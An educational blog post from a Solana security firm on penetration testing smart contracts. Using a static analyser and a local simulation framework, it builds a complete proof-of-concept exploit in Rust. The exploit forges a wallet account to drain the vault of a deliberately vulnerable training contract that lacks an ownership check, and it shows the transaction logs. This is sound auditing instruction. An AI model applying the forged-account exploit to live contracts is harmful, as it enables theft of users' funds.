Sec3 logo — Solana smart contract security firm
Back to Blog
Education

How to Audit Solana Smart Contracts Part 3: Penetration Testing

Sec3 Research Team

In this article, we introduce a few penetration testing tools to help detect vulnerabilities in Solana or Rust programs in general.

Solana PoC Framework

The poc-framework provides a convenient way to simulate transactions in a local environment. To illustrate its usage, we will use an example provided by Neodyme on Github.

102    fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
103        let account_info_iter = &mut accounts.iter();
104        let wallet_info = next_account_info(account_info_iter)?;   // <-- highlighted: missing ownership check
105        let vault_info = next_account_info(account_info_iter)?;
106        let authority_info = next_account_info(account_info_iter)?;
107        let destination_info = next_account_info(account_info_iter)?;
108        let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;
109
110        assert!(authority_info.is_signer);
111        assert_eq!(wallet.authority, *authority_info.key);
112        assert_eq!(wallet.vault, *vault_info.key);
113
114        if amount > **vault_info.lamports.borrow_mut() {
115            return Err(ProgramError::InsufficientFunds);
116        }
117
118        **vault_info.lamports.borrow_mut() -= amount;
119        **destination_info.lamports.borrow_mut() += amount;
120    }

The withdraw function in the level0 contract with a known vulnerability

We first run x-ray -analyzeAll . to get a list of potential vulnerabilities, for which we then use the poc-framework to construct exploits. In particular, X-Ray reports the following issue:

Vulnerability: an un-trustful wallet account in level0 reported by X-Ray

===============This account may be UNTRUSTFUL!===============
Found a potential vulnerability at line 104, column 23 in level0/src/processor.rs
The account info is not trustful:

  98|
  99|    Ok(())
 100|}
 101|
 102|fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64)  -> ProgramResult {
 103|    let account_info_iter = &mut accounts.iter();
>104|    let wallet_info = next_account_info(account_info_iter)?;
 105|    let vault_info = next_account_info(account_info_iter)?;
 106|    let authority_info = next_account_info(account_info_iter)?;
 107|    let destination_info = next_account_info(account_info_iter)?;
 108|    let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;
 109|
 110|    assert!(authority_info.is_signer);
>>>Stack Trace:
>>>level0::processor::withdraw::hede4fe29fa7cbffe [level0/src/processor.rs:23]

Vulnerability: an un-trustful wallet account in level0 reported by X-Ray

In fact, this is a known vulnerability (a missing ownership check on line 104) in the level0 contract. In the next three steps, we will construct a PoC to exploit this vulnerability.

Step1. Initializing the contract states (owner)

To develop PoC, the first step is to set up the contract states, which typically includes deploying the contract on the blockchain, creating necessary contract accounts, and invoking a transaction to initialize the contract states.

15    pub fn process_instruction(
16        program_id: &Pubkey,
17        accounts: &[AccountInfo],
18        mut instruction_data: &[u8],
19    ) -> ProgramResult {
20        match WalletInstruction::deserialize(buf: &mut instruction_data)? {
21            WalletInstruction::Initialize => initialize(program_id, accounts),
22            WalletInstruction::Deposit { amount: u64 } => deposit(program_id, accounts, amount),
23            WalletInstruction::Withdraw { amount: u64 } => withdraw(program_id, accounts, amount),
24        }
25    }

More specifically, to call the initialization function (line 21), we need to prepare three parameters: program_id, accounts, and instruction_data. The program_id is trivial: it is the public key of the deployed contract.

However, the other two parameters must have proper data contents to satisfy the conditions in the initialization function (line 27).

  • The accounts vector includes at least five accounts in the following order: wallet_info, vault_info, authority_info, rent_info, and system_program. The fifth account is used by system_instruction::create_account (lines 46 and 58)

  • The accounts have relationships (enforced by assert_eq! line 42): wallet_info.key == wallet_address, and the wallet_address is a program derived address (PDA) determined from program_id and authority_info.key.

  • The wallet account has empty data (enforced by assert!(wallet_info.data_is_empty()) on line 43)

27    fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
28        let account_info_iter: &mut Iter<AccountInfo> = &mut accounts.iter();
29        let wallet_info: &AccountInfo = next_account_info(account_info_iter)?;
30        let vault_info: &AccountInfo = next_account_info(account_info_iter)?;
31        let authority_info: &AccountInfo = next_account_info(account_info_iter)?;
32        let rent_info: &AccountInfo = next_account_info(account_info_iter)?;
33        let (wallet_address: Pubkey, wallet_seed: u8) =
34            Pubkey::find_program_address(seeds: &[&authority_info.key.to_bytes()], program_id);
35        let (vault_address: Pubkey, vault_seed: u8) = Pubkey::find_program_address(
36            seeds: &[&authority_info.key.to_bytes(), &"VAULT".as_bytes()],
37            program_id,
38        );
39
40        let rent: Rent = Rent::from_account_info(rent_info)?;
41
42        assert_eq!(*wallet_info.key, wallet_address);
43        assert!(wallet_info.data_is_empty());

To achieve our goal, there are three steps:

  1. use the poc_framework to create three accounts: one for the authority, one user, and one hacker:
let authority = poc_framework::keypair(0);
let user = poc_framework::keypair(1);
let hacker = poc_framework::keypair(2);
let authority_address = authority.pubkey();
let user_address = user.pubkey();
let hacker_address = hacker.pubkey();

2.use the poc_framework local environment to deploy the contract (level0.so) with a program_id (wallet_program), add the three accounts above, and initialize them each with 1.0 sol:

let path = "./target/deploy/level0.so";
let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let amount_1sol = sol_to_lamports(1.0);
let mut env = poc_framework::LocalEnvironment::builder()
.add_program(wallet_program, path)
.add_account_with_lamports(authority_address, system_program::id(), amount_1sol)
.add_account_with_lamports(user_address, system_program::id(), amount_1sol)
.add_account_with_lamports(hacker_address, system_program::id(), amount_1sol)
.build();
  1. construct an instruction with the three parameters, and then execute a transaction in the poc_framework local environment:
env.execute_as_transaction(&[Instruction {
    program_id: wallet_program,
    accounts: vec![
        AccountMeta::new(wallet_address, false),
        AccountMeta::new(vault_address, false),
        AccountMeta::new(authority_address, true),
        AccountMeta::new_readonly(sysvar::rent::id(), false),
        AccountMeta::new_readonly(system_program::id(), false),
    ],
    data: WalletInstruction::Initialize.try_to_vec().unwrap(),
}], &[&authority]).print();

Note that wallet_address and vault_address are PDAs, which are constructed by Pubkey::find_program_address (lines 33–38):

let (wallet_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes()],
                                                       &wallet_program);
let (vault_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes(),         
                                                        &"VAULT".as_bytes()], 
                                                      &wallet_program);

Now, the first step is done. This step is typically performed by the contract owner with certain authority, and for the PoC we assume it is done correctly.

Running the code will produce the following log:

Recent Blockhash: G9h4XVBLKL9SuAuDPu339nZxJvqmmUjs9QJBqb6tSV7r
Signature 0: 5tE6Sozj9HyDkwSp57KJMjL5tpJdZpVJHvvCayVANM7ibrxgLGYtVrrsLS7PNQEx6FaNyStcx1xHhPnhUAmH66BB
Signature 1: 2qeSDNrVR5bq6rtej66KLNy56tSPnhaXeuuWtfPgLQjR5sMfAP5aoDixcYPwcJbiYZ5JwsSkDZjMtSo6c7ViHt6p
Account 0: srw- HojNoq7NhoZZvarQ6wJK21gc1BhU81LmcrJrg2ar2kgy (fee payer)
Account 1: srw- KoooVyhdpoRPA6gpn7xr3cmjqAvtpHcjcBX6JBKu1nf
Account 2: -rw- B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7
Account 3: -rw- 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm
Account 4: -r-- SysvarRent111111111111111111111111111111111
Account 5: -r-- 11111111111111111111111111111111
Account 6: -r-x W4113t3333333333333333333333333333333333333
Instruction 0
  Program:   W4113t3333333333333333333333333333333333333 (6)
  Account 0: B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7 (2)
  Account 1: 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm (3)
  Account 2: KoooVyhdpoRPA6gpn7xr3cmjqAvtpHcjcBX6JBKu1nf (1)
  Account 3: SysvarRent111111111111111111111111111111111 (4)
  Account 4: 11111111111111111111111111111111 (5)
  Data: [0]
Status: Ok
  Fee: 0
  Account 0 balance: 0281474.976710656
  Account 1 balance: 01 -> 00.9977728
  Account 2 balance: 00 -> 00.00133632
  Account 3 balance: 00 -> 00.00089088
  Account 4 balance: 00.0010092
  Account 5 balance: 00.000000001
  Account 6 balance: 00.94277376
Log Messages:
  Program W4113t3333333333333333333333333333333333333 invoke [1]
  Program 11111111111111111111111111111111 invoke [2]
  Program 11111111111111111111111111111111 success
  Program 11111111111111111111111111111111 invoke [2]
  Program 11111111111111111111111111111111 success
  Program W4113t3333333333333333333333333333333333333 consumed 19249 of 200000 compute units
  Program W4113t3333333333333333333333333333333333333 success

Step2. Constructing normal user interactions (user)

Currently, the vault account has almost zero money (except the rent exempt fee 0.00089088 sol). In the second step, we will create a transaction to invoke the deposit function to transfer money to the vault account. This step can be generalized to simulate any normal user interactions with the contract.

85    fn deposit(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
86        let account_info_iter: &mut Iter<AccountInfo> = &mut accounts.iter();
87        let wallet_info: &AccountInfo = next_account_info(account_info_iter)?;
88        let vault_info: &AccountInfo = next_account_info(account_info_iter)?;
89        let source_info: &AccountInfo = next_account_info(account_info_iter)?;
90        let wallet: Wallet = Wallet::deserialize(buf: &mut &(*wallet_info.data).borrow_mut()[..])?;
91
92        assert_eq!(wallet.vault, *vault_info.key);
93
94        invoke(
95            instruction: &system_instruction::transfer(from_pubkey: &source_info.key, to_pubkey: &vault_info.key, lamports: amount),
96            account_infos: &[vault_info.clone(), source_info.clone()],
97        )?;

In the deposit function above, the accounts vector includes four accounts: wallet, vault, source (the user account to transfer money from) and system_program (used by system_instruction::transfer line 95).

The amount of money to transfer is a parameter passed to WalletInstruction::Deposit &#123;amount&#125;.

We can then construct an instruction with these parameters, and again use the poc_framework to execute a transaction:

env.execute_as_transaction(&[Instruction {
    program_id: wallet_program,
    accounts: vec![
      AccountMeta::new(wallet_address, false),
      AccountMeta::new(vault_address, false),
      AccountMeta::new(user_address, true),
      AccountMeta::new_readonly(system_program::id(), false)
    ],
    data: WalletInstruction::Deposit {
          amount: amount_1sol}.try_to_vec().unwrap()
}],&[&user]).print();

Now, the second step is done. Running the code will produce the following log. Note that the vault account now has 1.00089088 sol. We have just successfully transferred 1 sol.

Recent Blockhash: 9yc4F2CaiTLnAMzw4TYtJTohSbT937redx5Up8Bs6oVk
Signature 0: 3VGM6wY1DFxn4ybDX81sTBWj7rzRkPc39wq4pEVrehiatcBGicZncbZxFL5znwbW57mjrEZgSRmqAbw4r82KX1s8
Signature 1: 3MDuQdGr1AzigaqCjwuyRXcwVwyLHp1Z9PvfboeXzvZiLz2TMZo7xLoFikJc6uzpKEjjxjKQjsCTKgzmSgnG3GQV
Account 0: srw- 36ipsUBedDFcv2H46qJpSE7f94tLu38eiCjroZZT3UW1 (fee payer)
Account 1: srw- Koo1BQTQYawwKVBg71J2sru7W51EJgfbyyHsTFCssRW
Account 2: -rw- B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7
Account 3: -rw- 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm
Account 4: -r-- 11111111111111111111111111111111
Account 5: -r-x W4113t3333333333333333333333333333333333333
Instruction 0
  Program:   W4113t3333333333333333333333333333333333333 (5)
  Account 0: B6Zm6Jy1c9iEMCURbhdA3Quqd5PGoWjBe8ZX57TsLaj7 (2)
  Account 1: 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm (3)
  Account 2: Koo1BQTQYawwKVBg71J2sru7W51EJgfbyyHsTFCssRW (1)
  Account 3: 11111111111111111111111111111111 (4)
  Data: [1, 0, 202, 154, 59, 0, 0, 0, 0]
Status: Ok
  Fee: 0
  Account 0 balance: 0281474.976710656
  Account 1 balance: 01 -> 00
  Account 2 balance: 00.00133632
  Account 3 balance: 00.00089088 -> 01.00089088
  Account 4 balance: 00.000000001
  Account 5 balance: 00.94277376
Log Messages:
  Program W4113t3333333333333333333333333333333333333 invoke [1]
  Program 11111111111111111111111111111111 invoke [2]
  Program 11111111111111111111111111111111 success
  Program W4113t3333333333333333333333333333333333333 consumed 4138 of 200000 compute units
  Program W4113t3333333333333333333333333333333333333 success

Step3. Launching the attack (hacker)

Finally, we are about to complete the exploit by creating an instruction that simulates the hacker’s behavior. The goal in this case is to invoke the withdraw function to transfer money from the vault account to the hacker.

102    fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
103        let account_info_iter: &mut Iter<AccountInfo> = &mut accounts.iter();
104        let wallet_info: &AccountInfo = next_account_info(account_info_iter)?;
105        let vault_info: &AccountInfo = next_account_info(account_info_iter)?;
106        let authority_info: &AccountInfo = next_account_info(account_info_iter)?;
107        let destination_info: &AccountInfo = next_account_info(account_info_iter)?;
108        let wallet: Wallet = Wallet::deserialize(buf: &mut &(*wallet_info.data).borrow_mut()[..])?;
109
110        assert!(authority_info.is_signer);
111        assert_eq!(wallet.authority, *authority_info.key);
112        assert_eq!(wallet.vault, *vault_info.key);
113
114        if amount > **vault_info.lamports.borrow_mut() {
115            return Err(ProgramError::InsufficientFunds);
116        }
117
118        **vault_info.lamports.borrow_mut() -= amount;
119        **destination_info.lamports.borrow_mut() += amount;

From X-Ray report, recall that the wallet account is not trustful (line 104) . This means that the hacker may create a fake wallet account to invoke the withdraw function. To successfully steal the money (line 119), the fake wallet account and the other inputs must satisfy the following conditions:

  1. The wallet.authority field must be the same as the authority_info account key (enforced by assert_eq! line 111):
assert_eq!(wallet.authority, *authority_info.key)
  1. The wallet.vault field must be the same as the vault account key (enforced by assert_eq! line 112):
assert_eq!(wallet.vault, *vault_info.key);
  1. The withdraw amount is no larger than the money in the vault account:
if amount > **vault_info.lamports.borrow_mut()
  1. In addition, the authority account must be signed (enforced by assert! line 110):
assert!(authority_info.is_signer)

To satisfy this condition, the hacker may also supply a fake authority account, e.g., use their own hacker account and sign the transaction.

Considering all these constraints, we can construct a fake wallet account with the hacker_address as the fake authority field:

let hack_wallet = Wallet {
    authority: hacker_address,
    vault: vault_address
};
let mut hack_wallet_data: Vec<u8> = vec![];
hack_wallet.serialize(&mut hack_wallet_data).unwrap();

We use the poc_framework to create a fake wallet account in the LocalEnvironment:

let fake_wallet = poc_framework::keypair(4);
let fake_wallet_address = fake_wallet.pubkey();
env.create_account_with_data(&fake_wallet, hack_wallet_data);

We can then create a transaction to call the withdraw instruction:

env.execute_as_transaction(&[Instruction {
    program_id: wallet_program,
    accounts: vec![
        AccountMeta::new(fake_wallet_address, false),
        AccountMeta::new(vault_address, false),
        AccountMeta::new(hacker_address, true),
        AccountMeta::new(hacker_address, false)
    ],
    data: WalletInstruction::Withdraw {
              amount: amount_to_steal }.try_to_vec().unwrap(),
}], &[&hacker]).print();

In the above, the amount_to_steal can be set to the amount of money in the vault:

let amount_to_steal = env.get_account(vault_address).unwrap().lamports;

Putting all the above together, we have successfully created a PoC to exploit the vulnerability. Running the code will produce the following log. Note that the vault account is empty now, and the hacker now has 2.00089088 sol.

Recent Blockhash: Ax2N7gqps8LsXTsnpxo1XSsMEBxdu5P9ngmp3Pd7S9Cp
Signature 0: BVF9YqU98v22raDhwBfRkraRqFmBqM3cKr38YwriJDomsqYYJWj6kvbh8UijsQgt2R22KoKHoepnMZZzYvBEGDg
Signature 1: CPqre4XT1mS2w89ERJGnpakDTAwqSLTinkBq2h7krdZJ4PwqPt8K8wSXDgaZTqAAGDW7dYwYDbcMFyWD3FYtp29
Account 0: srw- Ga3jMwgq5YdCAWicfE2qXe3v1YgNabdLfYf6JYWZD5S4 (fee payer)
Account 1: srw- Koo2SZ393psmp7ags3hMz59ciV3XWLj1GkPousNgTH1
Account 2: -rw- K123eGaVgHro7RxWtfcpRZHKQc3L2qPf2LH4zJtRNQ6
Account 3: -rw- 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm
Account 4: -r-x W4113t3333333333333333333333333333333333333
Instruction 0
  Program:   W4113t3333333333333333333333333333333333333 (4)
  Account 0: K123eGaVgHro7RxWtfcpRZHKQc3L2qPf2LH4zJtRNQ6 (2)
  Account 1: 8Br27saLgmjGAj2uHBK4tXgivsrHFT2jQqAvypqb8USm (3)
  Account 2: Koo2SZ393psmp7ags3hMz59ciV3XWLj1GkPousNgTH1 (1)
  Account 3: Koo2SZ393psmp7ags3hMz59ciV3XWLj1GkPousNgTH1 (1)
  Data: [2, 0, 98, 168, 59, 0, 0, 0, 0]
Status: Ok
  Fee: 0
  Account 0 balance: 0281474.975374336
  Account 1 balance: 01 -> 02.00089088
  Account 2 balance: 00.00133632
  Account 3 balance: 01.00089088 -> 00
  Account 4 balance: 00.94277376
Log Messages:
  Program W4113t3333333333333333333333333333333333333 invoke [1]
  Program W4113t3333333333333333333333333333333333333 consumed 1886 of 200000 compute units
  Program W4113t3333333333333333333333333333333333333 success

What’s next

In the next few articles, we will continue to introduce auditing skills for Solana smart contracts, including the Anchor development framework.

Related Posts

Education

Solana Programs Part 4

The Metaplex Candy Machine is among the most popular smart contracts used for NFT minting on Solana. Recently, it has even implemented sophisticated logic for detecting and taxing bots. How does the candy machine program work internally? What are its intended use cases and dependencies? How does it detect bots? This article elaborates on these technical details.

Read more